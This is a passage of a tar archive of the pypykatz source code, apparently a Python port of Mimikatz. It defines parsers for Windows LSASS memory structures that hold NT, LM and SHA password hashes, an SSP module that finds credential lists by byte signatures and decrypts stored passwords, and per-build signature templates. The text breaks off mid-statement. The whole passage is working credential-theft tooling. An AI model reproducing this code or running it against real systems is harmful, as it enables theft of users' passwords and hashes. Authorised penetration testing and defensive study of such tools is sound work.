MSV1_0_PRIMARY_CREDENTIAL_DEC: def __init__(self): self.LogonDomainName = None self.UserName = None self.NtOwfPassword = None self.LmOwfPassword = None self.ShaOwPassword = None self.isNtOwfPassword = None self.isLmOwfPassword = None self.isShaOwPassword = None @staticmethod async def load(reader): res = MSV1_0_PRIMARY_CREDENTIAL_DEC() res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.NtOwfPassword = await reader.read(16) res.LmOwfPassword = await reader.read(16) res.ShaOwPassword = await reader.read(20) res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) res.isShaOwPassword = await BOOLEAN.loadvalue(reader) return res class MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC: def __init__(self): self.LogonDomainName = None self.UserName = None self.isIso = None self.isNtOwfPassword = None self.isLmOwfPassword = None self.isShaOwPassword = None self.align0 = None self.align1 = None self.NtOwfPassword = None self.LmOwfPassword = None self.ShaOwPassword = None @staticmethod async def load(reader): res = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC() res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.isIso = await BOOLEAN.loadvalue(reader) res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) res.isShaOwPassword = await BOOLEAN.loadvalue(reader) res.align0 = await BYTE.loadvalue(reader) res.align1 = await BYTE.loadvalue(reader) res.NtOwfPassword = await reader.read(16) res.LmOwfPassword = await reader.read(16) res.ShaOwPassword = await reader.read(20) return res class MSV1_0_PRIMARY_CREDENTIAL_10_DEC: def __init__(self): self.LogonDomainName = None self.UserName = None self.isIso = None self.isNtOwfPassword = None self.isLmOwfPassword = None self.isShaOwPassword = None self.align0 = None self.align1 = None self.align2 = None self.align3 = None self.NtOwfPassword = None self.LmOwfPassword = None self.ShaOwPassword = None @staticmethod async def load(reader): res = MSV1_0_PRIMARY_CREDENTIAL_10_DEC() res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.isIso = await BOOLEAN.loadvalue(reader) res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) res.isShaOwPassword = await BOOLEAN.loadvalue(reader) res.align0 = await BYTE.loadvalue(reader) res.align1 = await BYTE.loadvalue(reader) res.align2 = await BYTE.loadvalue(reader) res.align3 = await BYTE.loadvalue(reader) res.NtOwfPassword = await reader.read(16) res.LmOwfPassword = await reader.read(16) res.ShaOwPassword = await reader.read(20) return res class MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC: def __init__(self): self.LogonDomainName = None self.UserName = None self.pNtlmCredIsoInProc = None self.isIso = None self.isNtOwfPassword = None self.isLmOwfPassword = None self.isShaOwPassword = None self.isDPAPIProtected = None self.align0 = None self.align1 = None self.align2 = None self.unkD = None # stuff to be done! #pragma pack(push, 2) self.isoSize = None self.DPAPIProtected = None self.align3 = None # stuff to be done! #pragma pack(pop) self.NtOwfPassword = None self.LmOwfPassword = None self.ShaOwPassword = None @staticmethod async def load(reader): res = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC() res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.pNtlmCredIsoInProc = await PVOID.loadvalue(reader) res.isIso = await BOOLEAN.loadvalue(reader) res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) res.isShaOwPassword = await BOOLEAN.loadvalue(reader) res.isDPAPIProtected = await BOOLEAN.loadvalue(reader) res.align0 = await BYTE.loadvalue(reader) res.align1 = await BYTE.loadvalue(reader) res.align2 = await BYTE.loadvalue(reader) res.unkD = await DWORD.loadvalue(reader) # // 1/2 # stuff to be done! #pragma pack(push, 2) res.isoSize = await WORD.loadvalue(reader) #// 0000 res.DPAPIProtected = await reader.read(16) res.align3 = await DWORD.loadvalue(reader) #// 00000000 # stuff to be done! #pragma pack(pop) res.NtOwfPassword = await reader.read(16) res.LmOwfPassword = await reader.read(16) res.ShaOwPassword = await reader.read(20) return res class KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC: def __init__(self): self.Flink = None self.Primary = None self.encrypted_credentials = None @staticmethod async def load(reader): res = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC() res.Flink = await PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC.load(reader) res.Primary = await ANSI_STRING.load(reader) await reader.align() res.encrypted_credentials = await LSA_UNICODE_STRING.load(reader) return res class PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC return p #class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER): # def __init__(self, reader): # super().__init__(reader, PKIWI_MSV1_0_CREDENTIAL_LIST) class KIWI_MSV1_0_CREDENTIAL_LIST: def __init__(self): self.Flink = None self.AuthenticationPackageId = None self.PrimaryCredentials_ptr = None @staticmethod async def load(reader): res = KIWI_MSV1_0_CREDENTIAL_LIST() res.Flink = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.AuthenticationPackageId = await DWORD.loadvalue(reader) await reader.align() res.PrimaryCredentials_ptr = await PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC.load(reader) return res class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_CREDENTIAL_LIST() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_CREDENTIAL_LIST return p class PKIWI_MSV1_0_LIST_51(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_LIST_51() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_LIST_51 return p class KIWI_MSV1_0_LIST_51: def __init__(self): self.Flink = None self.Blink = None self.LocallyUniqueIdentifier = None self.UserName = None self.Domaine = None self.unk0 = None self.unk1 = None self.pSid = None self.LogonType = None self.Session = None self.LogonTime = None self.LogonServer = None self.Credentials_list_ptr = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.CredentialManager = None @staticmethod async def load(reader): res = KIWI_MSV1_0_LIST_51() res.Flink = await PKIWI_MSV1_0_LIST_51.load(reader) res.Blink = await PKIWI_MSV1_0_LIST_51.load(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.pSid = await PSID.load(reader) res.LogonType = await ULONG.loadvalue(reader) res.Session = await ULONG.loadvalue(reader) await reader.align(8) t = t = await reader.read(8) res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 await reader.align() res.LogonServer = await LSA_UNICODE_STRING.load(reader) res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.unk19 = await ULONG.loadvalue(reader) await reader.align() res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await PVOID.loadvalue(reader) res.unk23 = await ULONG.loadvalue(reader) await reader.align() res.CredentialManager = await PVOID.load(reader) return res class PKIWI_MSV1_0_LIST_52(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_LIST_52() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_LIST_52 return p class KIWI_MSV1_0_LIST_52: def __init__(self): self.Flink = None self.Blink = None self.LocallyUniqueIdentifier = None self.UserName = None self.Domaine = None self.unk0 = None self.unk1 = None self.pSid = None self.LogonType = None self.Session = None self.LogonTime = None self.LogonServer = None self.Credentials_list_ptr = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.CredentialManager = None @staticmethod async def load(reader): res = KIWI_MSV1_0_LIST_52() res.Flink = await PKIWI_MSV1_0_LIST_52.load(reader) res.Blink = await PKIWI_MSV1_0_LIST_52.load(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.pSid = await PSID.load(reader) res.LogonType = await ULONG.loadvalue(reader) res.Session = await ULONG.loadvalue(reader) await reader.align(8) t = await reader.read(8) res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 res.LogonServer = await LSA_UNICODE_STRING.load(reader) res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.unk19 = await ULONG.loadvalue(reader) await reader.align() res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await ULONG.loadvalue(reader) await reader.align() res.CredentialManager = await PVOID.load(reader) return res class PKIWI_MSV1_0_LIST_60(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_LIST_60() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_LIST_60 return p class KIWI_MSV1_0_LIST_60: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None self.hSemaphore6 = None self.unk7 = None self.hSemaphore8 = None self.unk9 = None self.unk10 = None self.unk11 = None self.unk12 = None self.unk13 = None self.LocallyUniqueIdentifier = None self.SecondaryLocallyUniqueIdentifier = None self.UserName = None self.Domaine = None self.unk14 = None self.unk15 = None self.pSid = None self.LogonType = None self.Session = None self.LogonTime = None self.LogonServer = None self.Credentials_list_ptr = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.CredentialManager = None @staticmethod async def load(reader): res = KIWI_MSV1_0_LIST_60() res.Flink = await PKIWI_MSV1_0_LIST_60.load(reader) res.Blink = await PKIWI_MSV1_0_LIST_60.load(reader) await reader.align() res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await PVOID.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) res.unk4 = await ULONG.loadvalue(reader) res.unk5 = await ULONG.loadvalue(reader) await reader.align() res.hSemaphore6 = await HANDLE.loadvalue(reader) await reader.align() res.unk7 = await PVOID.loadvalue(reader) await reader.align() res.hSemaphore8 = await HANDLE.loadvalue(reader) await reader.align() res.unk9 = await PVOID.loadvalue(reader) await reader.align() res.unk10 = await PVOID.loadvalue(reader) res.unk11 = await ULONG.loadvalue(reader) res.unk12 = await ULONG.loadvalue(reader) await reader.align() res.unk13 = await PVOID.loadvalue(reader) await reader.align() t = await reader.read(8) res.LocallyUniqueIdentifier = int.from_bytes(t, byteorder = 'little', signed = False) t = await reader.read(8) res.SecondaryLocallyUniqueIdentifier = int.from_bytes(t, byteorder = 'little', signed = False) await reader.align() res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk14 = await PVOID.loadvalue(reader) res.unk15 = await PVOID.loadvalue(reader) res.pSid = await PSID.load(reader) res.LogonType = await ULONG.loadvalue(reader) res.Session = await ULONG.loadvalue(reader) await reader.align(8) t = await reader.read(8) res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 res.LogonServer = await LSA_UNICODE_STRING.load(reader) res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.unk19 = await ULONG.loadvalue(reader) await reader.align() res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await PVOID.loadvalue(reader) res.unk23 = await ULONG.loadvalue(reader) await reader.align() res.CredentialManager = await PVOID.load(reader) return res class PKIWI_MSV1_0_LIST_61(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_LIST_61() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_LIST_61 return p class KIWI_MSV1_0_LIST_61: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None self.hSemaphore6 = None self.unk7 = None self.hSemaphore8 = None self.unk9 = None self.unk10 = None self.unk11 = None self.unk12 = None self.unk13 = None self.LocallyUniqueIdentifier = None self.SecondaryLocallyUniqueIdentifier = None self.UserName = None self.Domaine = None self.unk14 = None self.unk15 = None self.pSid = None self.LogonType = None self.Session = None self.LogonTime = None self.LogonServer = None self.Credentials_list_ptr = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.CredentialManager = None @staticmethod async def load(reader): res = KIWI_MSV1_0_LIST_61() res.Flink = await PKIWI_MSV1_0_LIST_61.load(reader) res.Blink = await PKIWI_MSV1_0_LIST_61.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await PVOID.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) res.unk4 = await ULONG.loadvalue(reader) res.unk5 = await ULONG.loadvalue(reader) await reader.align() res.hSemaphore6 = await HANDLE.loadvalue(reader) res.unk7 = await PVOID.loadvalue(reader) res.hSemaphore8 = await HANDLE.loadvalue(reader) res.unk9 = await PVOID.loadvalue(reader) res.unk10 = await PVOID.loadvalue(reader) res.unk11 = await ULONG.loadvalue(reader) res.unk12 = await ULONG.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk14 = await PVOID.loadvalue(reader) res.unk15 = await PVOID.loadvalue(reader) res.pSid = await PSID.load(reader) res.LogonType = await ULONG.loadvalue(reader) res.Session = await ULONG.loadvalue(reader) await reader.align(8) t = await reader.read(8) res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 res.LogonServer = await LSA_UNICODE_STRING.load(reader) res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await ULONG.loadvalue(reader) await reader.align() res.CredentialManager = await PVOID.load(reader) return res class PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ return p class KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None self.hSemaphore6 = None self.unk7 = None self.hSemaphore8 = None self.unk9 = None self.unk10 = None self.unk11 = None self.unk12 = None self.unk13 = None self.LocallyUniqueIdentifier = None self.SecondaryLocallyUniqueIdentifier = None self.waza = None self.UserName = None self.Domaine = None self.unk14 = None self.unk15 = None self.pSid = None self.LogonType = None self.Session = None self.LogonTime = None self.LogonServer = None self.Credentials_list_ptr = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.CredentialManager = None @staticmethod async def load(reader): res = KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ() res.Flink = await PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ.load(reader) res.Blink = await PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await PVOID.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) res.unk4 = await ULONG.loadvalue(reader) res.unk5 = await ULONG.loadvalue(reader) await reader.align() res.hSemaphore6 = await HANDLE.loadvalue(reader) res.unk7 = await PVOID.loadvalue(reader) res.hSemaphore8 = await HANDLE.loadvalue(reader) res.unk9 = await PVOID.loadvalue(reader) res.unk10 = await PVOID.loadvalue(reader) res.unk11 = await ULONG.loadvalue(reader) res.unk12 = await ULONG.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) res.waza = await reader.read(12) await reader.align() res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk14 = await PVOID.loadvalue(reader) res.unk15 = await PVOID.loadvalue(reader) res.pSid = await PSID.load(reader) res.LogonType = await ULONG.loadvalue(reader) res.Session = await ULONG.loadvalue(reader) await reader.align(8) t = await reader.read(8) res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 res.LogonServer = await LSA_UNICODE_STRING.load(reader) res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await ULONG.loadvalue(reader) await reader.align() res.CredentialManager = await PVOID.load(reader) return res class PKIWI_MSV1_0_LIST_62(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_LIST_62() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_LIST_62 return p class KIWI_MSV1_0_LIST_62: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None self.hSemaphore6 = None self.unk7 = None self.hSemaphore8 = None self.unk9 = None self.unk10 = None self.unk11 = None self.unk12 = None self.unk13 = None self.LocallyUniqueIdentifier = None self.SecondaryLocallyUniqueIdentifier = None self.UserName = None self.Domaine = None self.unk14 = None self.unk15 = None self.Type = None self.pSid = None self.LogonType = None self.unk18 = None self.Session = None self.LogonTime = None self.LogonServer = None self.Credentials_list_ptr = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.unk24 = None self.unk25 = None self.unk26 = None self.unk27 = None self.unk28 = None self.unk29 = None self.CredentialManager = None @staticmethod async def load(reader): res = KIWI_MSV1_0_LIST_62() res.Flink = await PKIWI_MSV1_0_LIST_62.load(reader) res.Blink = await PKIWI_MSV1_0_LIST_62.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await PVOID.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) res.unk4 = await ULONG.loadvalue(reader) res.unk5 = await ULONG.loadvalue(reader) await reader.align() res.hSemaphore6 = await HANDLE.loadvalue(reader) res.unk7 = await PVOID.loadvalue(reader) res.hSemaphore8 = await HANDLE.loadvalue(reader) res.unk9 = await PVOID.loadvalue(reader) res.unk10 = await PVOID.loadvalue(reader) res.unk11 = await ULONG.loadvalue(reader) res.unk12 = await ULONG.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk14 = await PVOID.loadvalue(reader) res.unk15 = await PVOID.loadvalue(reader) res.Type = await LSA_UNICODE_STRING.load(reader) res.pSid = await PSID.load(reader) res.LogonType = await ULONG.loadvalue(reader) await reader.align() res.unk18 = await PVOID.loadvalue(reader) res.Session = await ULONG.loadvalue(reader) await reader.align() t = await reader.read(8) res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 res.LogonServer = await LSA_UNICODE_STRING.load(reader) res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await ULONG.loadvalue(reader) res.unk23 = await ULONG.loadvalue(reader) res.unk24 = await ULONG.loadvalue(reader) res.unk25 = await ULONG.loadvalue(reader) res.unk26 = await ULONG.loadvalue(reader) await reader.align() res.unk27 = await PVOID.loadvalue(reader) res.unk28 = await PVOID.loadvalue(reader) res.unk29 = await PVOID.loadvalue(reader) res.CredentialManager = await PVOID.load(reader) return res class PKIWI_MSV1_0_LIST_63(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_MSV1_0_LIST_63() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_MSV1_0_LIST_63 return p class KIWI_MSV1_0_LIST_63: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None self.hSemaphore6 = None self.unk7 = None self.hSemaphore8 = None self.unk9 = None self.unk10 = None self.unk11 = None self.unk12 = None self.unk13 = None self.LocallyUniqueIdentifier = None self.SecondaryLocallyUniqueIdentifier = None self.waza = None self.UserName = None self.Domaine = None self.unk14 = None self.unk15 = None self.Type = None self.pSid = None self.LogonType = None self.unk18 = None self.Session = None self.LogonTime = None self.LogonServer = None self.Credentials_list_ptr = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.unk24 = None self.unk25 = None self.unk26 = None self.unk27 = None self.unk28 = None self.unk29 = None self.CredentialManager = None @staticmethod async def load(reader): res = KIWI_MSV1_0_LIST_63() res.Flink = await PKIWI_MSV1_0_LIST_63.load(reader) res.Blink = await PKIWI_MSV1_0_LIST_63.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await PVOID.loadvalue(reader) res.unk3 = await ULONG.loadvalue(reader) res.unk4 = await ULONG.loadvalue(reader) res.unk5 = await ULONG.loadvalue(reader) await reader.align() res.hSemaphore6 = await HANDLE.loadvalue(reader) res.unk7 = await PVOID.loadvalue(reader) res.hSemaphore8 = await HANDLE.loadvalue(reader) res.unk9 = await PVOID.loadvalue(reader) res.unk10 = await PVOID.loadvalue(reader) res.unk11 = await ULONG.loadvalue(reader) res.unk12 = await ULONG.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) await reader.align() res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) res.waza = await reader.read(12) await reader.align() res.UserName = await LSA_UNICODE_STRING.load(reader) res.Domaine = await LSA_UNICODE_STRING.load(reader) res.unk14 = await PVOID.loadvalue(reader) res.unk15 = await PVOID.loadvalue(reader) res.Type = await LSA_UNICODE_STRING.load(reader) res.pSid = await PSID.load(reader) res.LogonType = await ULONG.loadvalue(reader) await reader.align() res.unk18 = await PVOID.loadvalue(reader) res.Session = await ULONG.loadvalue(reader) await reader.align(8) t = await reader.read(8) res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 res.LogonServer = await LSA_UNICODE_STRING.load(reader) res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await ULONG.loadvalue(reader) res.unk23 = await ULONG.loadvalue(reader) res.unk24 = await ULONG.loadvalue(reader) res.unk25 = await ULONG.loadvalue(reader) res.unk26 = await ULONG.loadvalue(reader) await reader.align() #input('CredentialManager\n' + hexdump(reader.peek(0x100))) res.unk27 = await PVOID.loadvalue(reader) res.unk28 = await PVOID.loadvalue(reader) res.unk29 = await PVOID.loadvalue(reader) res.CredentialManager = await PVOID.load(reader) return res././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2873638 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/ssp/0000775000175000017500000000000014647211624022206 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/ssp/__init__.py0000664000175000017500000000000014543266630024307 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/ssp/decryptor.py0000664000175000017500000000516114543266630024600 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import json from pypykatz.alsadecryptor.package_commons import PackageDecryptor class SspCredential: def __init__(self): self.credtype = 'ssp' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== SSP [%x]==\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomainname %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class SspDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Ssp', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] async def find_first_entry(self): position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature) ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def add_entry(self, ssp_entry): c = SspCredential() c.luid = ssp_entry.LogonId c.username = await ssp_entry.credentials.Domaine.read_string(self.reader) c.domainname = await ssp_entry.credentials.UserName.read_string(self.reader) if ssp_entry.credentials.Password.Length != 0: if c.username.endswith('$') is True or c.domainname.endswith('$') is True: enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader) c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader) c.password, c.password_raw = self.decrypt_password(enc_data) if c.username == '' and c.domainname == '' and c.password is None: return self.credentials.append(c) async def start(self): try: entry_ptr_value, entry_ptr_loc = await self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return await self.reader.move(entry_ptr_loc) entry_ptr = await self.decryptor_template.list_entry.load(self.reader) await self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/ssp/templates.py0000664000175000017500000000557114543266630024570 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.alsadecryptor.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER from pypykatz.alsadecryptor.package_commons import PackageTemplate class SspTemplate(PackageTemplate): def __init__(self): super().__init__('Ssp') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = SspTemplate() template.list_entry = PKIWI_SSP_CREDENTIAL_LIST_ENTRY template.log_template('list_entry', template.list_entry) if sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\xc7\x43\x24\x43\x72\x64\x41\xff\x15' template.first_entry_offset = 16 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\xc7\x47\x24\x43\x72\x64\x41\x48\x89\x47\x78\xff\x15' template.first_entry_offset = 20 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: template.signature = b'\x24\x43\x72\x64\x41\xff\x15' template.first_entry_offset = 14 else: #currently this doesnt make sense, but keeping it here for future use raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: template.signature = b'\x1c\x43\x72\x64\x41\xff\x15' template.first_entry_offset = 12 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKIWI_SSP_CREDENTIAL_LIST_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_SSP_CREDENTIAL_LIST_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_SSP_CREDENTIAL_LIST_ENTRY return p class KIWI_SSP_CREDENTIAL_LIST_ENTRY: def __init__(self): self.Flink = None self.Blink = None self.References = None self.CredentialReferences = None self.LogonId = None self.unk0 = None self.unk1 = None self.unk2 = None self.credentials = None @staticmethod async def load(reader): res = KIWI_SSP_CREDENTIAL_LIST_ENTRY() res.Flink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader) res.Blink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader) res.References = await ULONG.loadvalue(reader) res.CredentialReferences = await ULONG.loadvalue(reader) res.LogonId = await 